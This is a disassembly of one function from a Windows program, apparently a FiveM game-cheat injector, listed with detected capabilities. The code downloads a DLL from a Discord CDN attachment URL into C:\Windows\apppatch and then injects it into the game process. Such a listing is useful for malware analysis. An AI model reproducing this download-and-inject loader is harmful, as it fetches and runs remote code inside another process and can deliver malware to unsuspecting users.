Function at 0x140002730
Capabilities:
Check if file exists
Download url
Execute command
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x100
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xf8], rax
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
lea edx, [rsi + 5]
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], sil
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], 0xf
mov byte [rsp + 0x70], sil
lea r9, str.FiveM_GTAProcess.exe
lea edx, [rsi + 0x14]
lea rcx, [rsp + 0xb0]
call fcn.140003b10
mov rax, qword [rsp + 0x88]
cmp rax, 0x2c
jb 0x140002806
lea rbx, [rsp + 0x70]
cmp rax, 0xf
cmova rbx, qword [rsp + 0x70]
mov qword [rsp + 0x80], 0x2c
lea r8d, [rsi + 0x2c]
lea rdx, str.C:Windows_apppatchNative_Invoker_FiveM.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x2c], sil
jmp 0x14000281c
lea r9, str.C:Windows_apppatchNative_Invoker_FiveM.dll
mov edx, 0x2c
lea rcx, [rsp + 0x70]
call fcn.140003b10
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rsi
mov r8d, 0x13
lea rdx, str.C:Windows_apppatch
lea rcx, [rsp + 0x90]
call fcn.1400033c0
nop
mov rdi, qword [rsp + 0xa0]
lea rbx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rbx, qword [rsp + 0x90]
call fcn.140003d54
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x38]
call fcn.140001980
nop
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rcx, qword [rsp + 0x38]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rsp + 0xd0]
call fcn.140003f08
mov r8d, eax
test eax, eax
jne 0x140002917
mov edx, dword [rsp + 0xe0]
test dl, 1
mov ecx, 0x1ff
mov eax, 0x16d
cmovne ecx, eax
mov dword [rsp + 0x64], ecx
bt edx, 0xa
jae 0x140002909
mov eax, dword [rsp + 0xe4]
cmp eax, 0xa000000c
jne 0x1400028fb
lea eax, [r8 + 4]
jmp 0x14000293a
cmp eax, 0xa0000003
jne 0x140002909
mov eax, 0xa
jmp 0x14000293a
movzx eax, dl
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x14000293a
mov dword [rsp + 0x64], 0xffff
sub eax, 2
je 0x140002935
sub eax, 1
je 0x140002935
sub eax, 0x32
je 0x140002935
cmp eax, 0x46
mov eax, esi
jne 0x14000293a
mov eax, 1
mov dword [rsp + 0x60], r8d
lea rcx, [0x140009070]
mov qword [rsp + 0x68], rcx
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
test eax, eax
je 0x1400029a0
cmp eax, 1
sete bl
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x1400029b2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov bl, 1
test r8d, r8d
jne 0x140002ce3
jmp 0x140002960
call fcn.1400042fc
test bl, bl
je 0x140002a6c
mov rdi, qword [rsp + 0xa0]
lea rbx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rbx, qword [rsp + 0x90]
call fcn.140003d54
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x38]
call fcn.140001980
nop
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rcx, qword [rsp + 0x38]
call fcn.140003e90
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140002cf3
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x140002a68
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042fc
nop
jmp 0x140002a6c
lea rcx, str.https:__cdn.discordapp.com_attachments_1188755872353112184_1190539140790485082_Native_Invoker_FiveM.dll
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [0x140006750]
lea rdx, str.https:__cdn.discordapp.com_attachments_1188755872353112184_1190539140790485082_Native_Invoker_FiveM.dll
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140002cc8
lea rcx, str.___Inject_on_music_server_n___Press_anykey_to_inject
call fcn.140001060
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rcx, qword [rsp + 0x70]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x140002c1a
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str._does_NOT_exist_
call fcn.140001010
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x140002b32
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b2d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042fc
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x140002b91
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042fc
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0xf
jbe 0x140002bf0
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002beb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002beb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042fc
mov eax, 1
mov rcx, qword [rsp + 0xf8]
xor rcx, rsp
call fcn.1400042a0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
lea rcx, [rsp + 0xb0]
call fcn.140002d10
mov rcx, rax
call fcn.140002480
mov r8d, eax
test eax, eax
jne 0x140002ca7
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400030c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, ebx
lea rdx, str.____Process_Not_found__0x_lX__n
mov rcx, rax
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400030c0
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.____Pls_Open_..._n
call fcn.140001010
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400068ec]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140002cbc
lea rcx, [rsp + 0x70]
call fcn.140002d10
mov rdx, rax
mov ecx, r8d
call fcn.1400025c0
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Press_anykey_to_exit.
call fcn.140001060
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
call fcn.140002420
nop
shr rdx, 0x20
lea r8, [rsp + 0x38]
call fcn.1400023b0
int3